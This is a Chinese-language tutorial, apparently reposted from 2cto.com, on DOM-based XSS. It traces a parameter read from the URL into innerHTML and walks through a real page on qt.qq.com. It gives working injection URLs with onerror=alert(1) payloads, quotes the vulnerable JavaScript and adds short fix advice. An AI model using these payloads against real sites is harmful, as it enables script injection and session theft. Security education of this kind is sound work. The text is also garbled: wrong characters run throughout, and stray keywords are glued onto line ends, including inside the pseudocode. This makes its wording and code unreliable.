上一篇開始說Dom Xss了, 咱們說的是顯式輸出的狀況,即咱們能夠在右鍵查看源代碼的時候,看到咱們所輸出的內容。而有一些時候,輸出操做咱們是看不見的。它們一般發生在 javascript代碼中。譬如:var x=location.href; 這句Javascript實際上進行了一個隱藏的輸出操做,即將location.href的內容輸出到了x變量中。一塊兒來看看相關的例子吧~javascript
前注: 1-4 是普通原理,沒看明白的話,能夠從5開始,結合實際例子看。html
1. 原本是有另一個例子的,不過不知道是騰訊已經給修復了,仍是以前測試的時候人品好,偶爾碰上了,總之如今用不上了。前端
2. 這樣一來,咱們就只好用一個稍微複雜一點點的例子了。java
3. 在說實際例子前,咱們來講一個前端開發人員很是習慣使用的一段代碼。下面大體寫下僞代碼。chrome
function getParam(參數名){瀏覽器
//獲取地址欄參數,一般是 a=1&b=2&c=3;安全
var x=location.search;//或者是location.hashapp
//此時x="?a=1&b=2&c=3";ide
//根據[參數名]取出參數名對應的值函數
//例如 參數名=a, 則y=1
//例如 參數名=b, 則y=2
//至於這裏怎麼實現這個功能,能夠用循環,能夠用indexOf,能夠用正則
var y= 參數名對應的參數值;
//返回y
return y;
}
它的做用呢?就是從地址欄的參數裏取出內容。譬如:
http://www.some.com/2.html?name=shouzi&age=20
咱們在2.html,要顯示 name 對應的值。對應的代碼則很是可能下面這樣寫:
<div id="nick">加載中...</div>
<script>
var a=getParam("name"); //獲取地址欄裏的name參數,即shouzi
document.getElementById("nick").innerHTML=a;
</script>
4. 上面是普通開發人員爲了實現功能而寫的代碼,若是沒有安全考慮,就會存在問題。
若是上面的地址變爲了:
http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20
那麼變量a將會等於 <img src=1 onerror=alert(1)>
document.getElementById("nick").innerHTML=a;
即變成了
document.getElementById("nick").innerHTML="<img src=1 onerror=alert(1)>";
這樣就變成了 教程 8 中的情景,從而觸發XSS。
5. 接着咱們看一個實際的例子。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa
和原來的不一樣,咱們在源代碼裏搜索不到東西的哦~
那可能這裏有人會有一個疑問了。那咱們怎麼知道有沒有漏洞呢? 別擔憂,方法是有的。
這裏以chrome爲例,按F12,打開調試工具,見下圖
和查看源代碼沒有什麼不一樣,只是此次是在調試工具裏看而已。
6. 經過上面的方式,肯定【可能】有漏洞以後。咱們能夠有2個方式來進行下一步。
6.1 直接根據調試工具裏看到的HTML代碼狀況,來構造利用代碼。 優勢:省時間,缺點:若是對方有必定過濾,就很難構造
6.2 定位到與這個缺陷參數sid相關的JS代碼,再來構造利用代碼。優勢:能利用一些複雜的狀況, 缺點:耗時間。
7. 對於新手來講,先看6.1的狀況。看到步驟5裏面的那個圖。咱們能夠構造如下代碼。
<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
<param name="movie" value="aaaaaa"></object><img src="1" onerror="alert(1)">
...其它的省略了...
</object>
對應的圖片解析:
進而「試探性」的測試一下利用代碼,由於咱們不知道對方會不會過濾掉 「雙引號」,「括號」之類的,只能試試了。。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src="1" onerror="alert(1)
沒反應,咱們繼續看看調試工具,發現,雙引號,變成了 \\" 。
根據這個狀況,咱們能夠進一步修改代碼。<img>標籤裏不使用雙引號。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
此次OK啦。
能夠看到,這種方式,寫利用代碼很快。
8. 再來看看 6.2 的方法。既然咱們知道了,sid這個參數會被使用。 那麼咱們的目標是,javascript的代碼裏哪裏使用了sid這個參數呢?
9. 咱們首先,F12打開調試工具,點【Resources】,再點Frames, 而後 Ctrl+ F搜索 "sid" 或者 'sid'
咱們運氣很好,一下就定位到了一個sid。
10. 能夠看到是 getUrlPara("sid"),從單詞,咱們不難猜出,getUrlPara就是前面咱們提到的 「獲取地址欄參數「的函數。
爲了進一步肯定,咱們能夠很方便的在console裏查看getUrlParam函數是啥樣的。
能夠看到,實際上getUrlParam是對<, > 作了過濾, 可是因爲chrome瀏覽器自身的XSS防護機制,致使location.href獲取的location.href是已經通過編碼的。從而致使未過濾。
以下圖:
11. 按道理,location.href裏的<, > ," 已經變成了 %3c, %3e,%22已經被過濾了,不會有XSS了,爲何還能夠呢?咱們進一步日後看。
看來,關鍵就是這裏,這裏有一步decodeURIComponent的操做,會將 %3c, %3e,又變回 <, >
供參考的完整的缺陷代碼。
var sid=getUrlPara("sid");
if(!sid || sid==""){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,視頻不存在!</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您尚未安裝flash插件<br/>請<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下載</a>10.0以上的flash播放器<br/>安裝flash後,請<a href="javascript:location.reload();">點此刷新</a></div>';
}else if(flash_ver.split('.')[0]<10){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本太低<br/>請<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下載</a>10.0以上 的flash播放器<br/>安裝flash後,請<a href="javascript:location.reload();">點此刷新</a></div>';
}else{
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">沒法打開視頻文件,視頻地址不合法!</div>';
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}
12. 接着,會調用 insertFlash("dv_video","f",sid,"100%","100%");
insertFlash裏,也並無對sid進行任何過濾。
function insertFlash(elm, eleid, url, w, h) {
if (!document.getElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
str += '</object>';
document.getElementById(elm).innerHTML = str
}
圖片解析:
13. 根據以上分析,咱們的利用代碼能夠寫爲。注意,%3E,%3C的編碼是關鍵。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
很是值得說明的是:
若是採用6.1的方法,咱們獲得的利用代碼是
http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
!! 這個代碼在IE下,是無法XSS的。
而經過6.2的方法,去分析JS代碼,咱們則能夠構造出通用的XSS代碼。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
這也反應了 6.1 和 6.2 方法各自的優缺點。
修復方案:
1. 修復過濾上的邏輯問題。
2. 注意不一樣瀏覽器中,location.href的不一樣點。
轉自:http://www.2cto.com/Article/201302/187421.html